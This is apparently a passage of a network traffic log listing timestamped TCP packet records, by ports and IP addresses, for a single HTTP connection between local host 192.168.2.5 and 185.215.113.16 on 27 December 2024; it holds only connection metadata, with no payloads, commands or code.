Dec 27, 2024 08:45:38.499486923 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.499535084 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.500201941 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.500324011 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.500361919 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.501034975 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.501158953 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.501204967 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.501920938 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.502003908 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.502053022 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.502773046 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.502901077 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.502944946 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.503603935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.503724098 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.503767967 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.504511118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.504601955 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.504662037 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.505332947 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.505454063 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.505500078 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.506223917 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.506325006 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.506371021 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.507086039 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.507153034 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.507199049 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.507950068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.508066893 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.508110046 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.508275032 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.508833885 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.509067059 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.509104967 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.509682894 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.509821892 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.509861946 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.510560989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.510721922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.510767937 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.511395931 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.511513948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.511559010 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.512262106 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.512475014 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.512521982 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.513073921 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.535026073 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.659816027 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.659857988 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.659929037 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.660168886 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.660235882 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.660290003 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.661051989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.661164045 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.661214113 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.661900043 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.662024975 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.662080050 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.662759066 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.662866116 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.662915945 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.663614035 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.663716078 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.663764000 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.664485931 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.664599895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.664653063 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.665334940 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.665472031 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.665575981 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.666315079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.666440010 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.666505098 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.667088032 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.667170048 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.667216063 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.667938948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.668052912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.668157101 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.668797970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.668901920 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.668982029 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.669650078 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.669812918 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.669866085 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.670512915 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.670686007 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.670737028 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.671399117 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.671520948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.671566963 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.672250032 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.672358036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.672441006 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.673116922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.673172951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.673435926 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.673990011 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.674088001 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.674288034 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.674854994 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.674952030 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.675004005 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.675723076 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.675863028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.675916910 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.676582098 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.676685095 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.677181005 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.677429914 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.677547932 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.677597046 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.678287029 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.678395033 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.678447962 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.679160118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.679285049 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.679347992 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.680052042 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.680155039 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.680211067 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.680875063 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.680975914 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.681018114 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.681749105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.681863070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.681915998 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.682606936 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.682723999 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.682782888 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.683578014 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.683671951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.683722019 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.684357882 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.684474945 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.684534073 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.685190916 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.685348988 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.685400009 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.686068058 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.686206102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.686254978 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.686952114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.687056065 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.687148094 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.687802076 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.687922955 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.687978983 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.688669920 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.688787937 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.688841105 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.689536095 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.689650059 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.689714909 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.690427065 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.690514088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.690593004 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.691242933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.691376925 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.691432953 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.692106962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.692224026 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.692271948 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.692992926 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.693098068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.693252087 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.693865061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.693970919 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.694066048 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.694741964 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.694814920 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.694864988 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.695563078 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.695689917 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.695743084 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.696432114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.696520090 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.696569920 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.697009087 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.697432041 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.697515965 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.697576046 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.698174953 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.698285103 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.698431969 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.699028969 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.699098110 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.699158907 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.699878931 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.699991941 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.700040102 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.700792074 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.700897932 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.701005936 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.701601982 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.701726913 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.701772928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.702485085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.702624083 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.702694893 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.703341007 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.703448057 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.703495979 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.704238892 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.704317093 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.704449892 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.705029011 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.725557089 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.752213955 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.851730108 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.851809978 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.851862907 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.852088928 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.852116108 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.852152109 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.852771044 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.852873087 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.853070974 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.853612900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.853740931 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.853787899 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.854490995 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.854571104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.854615927 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.855348110 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.855444908 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.855493069 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.856203079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.856312990 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.856358051 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.857074022 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.857168913 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.857268095 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.857942104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.858056068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.858122110 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.858824015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.858900070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.859020948 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.859668970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.859767914 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.859859943 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.860518932 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.860632896 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.860716105 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.861390114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.861494064 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.861592054 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.862380981 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.862399101 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.862446070 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.863120079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.863219976 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.863265991 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.863979101 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.864090919 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.864809036 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.864846945 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.864937067 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.865664959 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.865715027 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.865875006 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.865931988 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.866585970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.866700888 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.867283106 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.867448092 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.867551088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.867604017 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.868289948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.868396044 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.868892908 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.869164944 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.869273901 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.869329929 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.870029926 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.870207071 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.870254040 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.870889902 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.870996952 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.871090889 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.871787071 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.871926069 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.871964931 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.872667074 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.872790098 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.872862101 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.873505116 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.873583078 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.873691082 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.874375105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.874514103 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.874557972 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.875238895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.875354052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.875394106 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.875447989 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.876156092 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.876221895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.876935005 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.876975060 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.877054930 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.877810955 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.877865076 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.877897024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.877942085 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.878669024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.878818989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.878864050 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.879528046 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.879637957 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.880345106 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.880393028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.880513906 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.880567074 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.881356955 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.881465912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.881510973 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.882139921 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.882240057 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.882700920 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.882997990 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.883132935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.883182049 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.883913994 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.883986950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.884035110 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.884744883 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.884851933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.884897947 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.885719061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.885788918 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.885915995 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:38.886483908 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.886595964 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:38.886636019 CET	49772	80	192.168.2.5	185.215.113.16
